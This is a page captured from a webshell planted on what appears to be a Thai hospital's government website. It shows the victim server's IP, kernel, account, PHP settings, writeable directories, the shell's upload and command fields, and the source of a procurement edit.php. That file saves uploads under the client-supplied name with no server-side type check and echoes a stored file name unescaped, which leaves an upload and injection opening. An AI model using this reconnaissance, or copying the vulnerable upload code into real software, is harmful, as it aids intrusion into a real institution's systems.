403Webshell
Server IP : 172.67.189.169  /  Your IP : 216.73.216.59
Web Server : Apache/2
System : Linux cat167-197.static.lnwhostname.com 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
User : paphayomho ( 1042)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/paphayomho/domains/paphayomhospital.go.th/public_html/procurement/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/paphayomho/domains/paphayomhospital.go.th/public_html/procurement/edit.php
<?php
include 'config.php';
if (!isset($_SESSION['admin_login'])) { header("Location: login.php"); exit; }

$id = intval($_GET['id']);
$res = $conn->query("SELECT * FROM posts WHERE id = $id");
$data = $res->fetch_assoc();

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $title = $_POST['title'];
    $cat = $_POST['category'];
    $file_name = $data['file_path']; // ใช้ไฟล์เดิมไว้ก่อน

    // ตรวจสอบการอัปโหลดไฟล์ใหม่
    if (isset($_FILES['pdf']) && $_FILES['pdf']['error'] == 0) {
        // ลบไฟล์เก่า (ถ้ามี)
        if (!empty($data['file_path'])) {
            @unlink("uploads/" . $data['file_path']);
        }
        // บันทึกไฟล์ใหม่
        $file_name = time() . "_" . $_FILES['pdf']['name'];
        move_uploaded_file($_FILES['pdf']['tmp_name'], "uploads/" . $file_name);
    }

    $stmt = $conn->prepare("UPDATE posts SET title = ?, category = ?, file_path = ? WHERE id = ?");
    $stmt->bind_param("sssi", $title, $cat, $file_name, $id);
    
    if ($stmt->execute()) {
        echo "<script>alert('แก้ไขข้อมูลแล้ว'); window.location='admin.php';</script>";
    }
}
?>

<!DOCTYPE html>
<html lang="th">
<head>
    <meta charset="UTF-8">
    <title>แก้ไขประกาศ</title>
    <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body class="bg-light py-5">
    <div class="container shadow-sm p-4 bg-white rounded" style="max-width: 600px;">
        <h4>แก้ไขข้อมูลประกาศ</h4>
        <hr>
        <form method="POST" enctype="multipart/form-data">
            <div class="mb-3">
                <label>หัวข้อประกาศ</label>
                <input type="text" name="title" class="form-control" value="<?= htmlspecialchars($data['title']) ?>" required>
            </div>
            <div class="mb-3">
                <label>หมวดหมู่</label>
                <select name="category" class="form-select">
                    <option value="procure" <?= $data['category']=='procure'?'selected':'' ?>>จัดซื้อจัดจ้าง</option>
                    <option value="job" <?= $data['category']=='job'?'selected':'' ?>>รับสมัครงาน</option>
                    <option value="news" <?= $data['category']=='news'?'selected':'' ?>>ข่าวประชาสัมพันธ์</option>
                </select>
            </div>
            <div class="mb-3">
                <label>ไฟล์ปัจจุบัน: </label>
                <small class="text-primary"><?= $data['file_path'] ?: 'ไม่มีไฟล์' ?></small>
            </div>
            <div class="mb-3">
                <label>เปลี่ยนไฟล์ PDF (ถ้ามี)</label>
                <input type="file" name="pdf" class="form-control" accept=".pdf">
            </div>
            <div class="d-flex gap-2">
                <button type="submit" class="btn btn-success w-100">บันทึกแก้ไข</button>
                <a href="admin.php" class="btn btn-secondary w-100">ยกเลิก</a>
            </div>
        </form>
    </div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit